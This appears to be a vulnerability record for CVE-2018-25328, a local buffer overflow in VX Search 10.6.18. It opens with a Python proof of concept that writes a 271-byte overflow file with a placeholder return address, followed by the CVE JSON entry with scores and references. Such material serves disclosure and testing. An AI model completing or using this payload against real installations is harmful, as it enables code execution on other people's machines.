CVE-2018-25328

# PoC for CVE-2018-25328 # Generates a malicious file to trigger the buffer overflow in VX Search import struct # Buffer overflow offset (based on description of 271 bytes) offset = 271 # Placeholder return address (e.g., 0x42424242) # In a real exploit, this would be a JMP ESP or similar address ret_addr = struct.pack('<I', 0x42424242) # Padding to fill the buffer junk = b'A' * offset # Construct the payload payload = junk + ret_addr try: with open('vx_search_poc.txt', 'wb') as f: f.write(payload) print("[+] PoC file 'vx_search_poc.txt' created successfully.") except IOError as e: print(f"[-] Error creating file: {e}")

{"cve": {"id": "CVE-2018-25328", "sourceIdentifier": "[email protected]", "published": "2026-05-17T13:16:44.310", "lastModified": "2026-05-18T17:38:25.393", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "VX Search 10.6.18 contains a local buffer overflow vulnerability that allows attackers to overwrite the instruction pointer by supplying an oversized string in the directory field. Attackers can craft a malicious input file containing 271 bytes of junk data followed by a return address to execute arbitrary code with application privileges."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-120"}]}], "references": [{"url": "http://www.vxsearch.com", "source": "[email protected]"}, {"url": "https://www.7elements.co.uk", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/44494", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/vx-search-local-buffer-overflow-via-directory-field", "source": "[email protected]"}]}}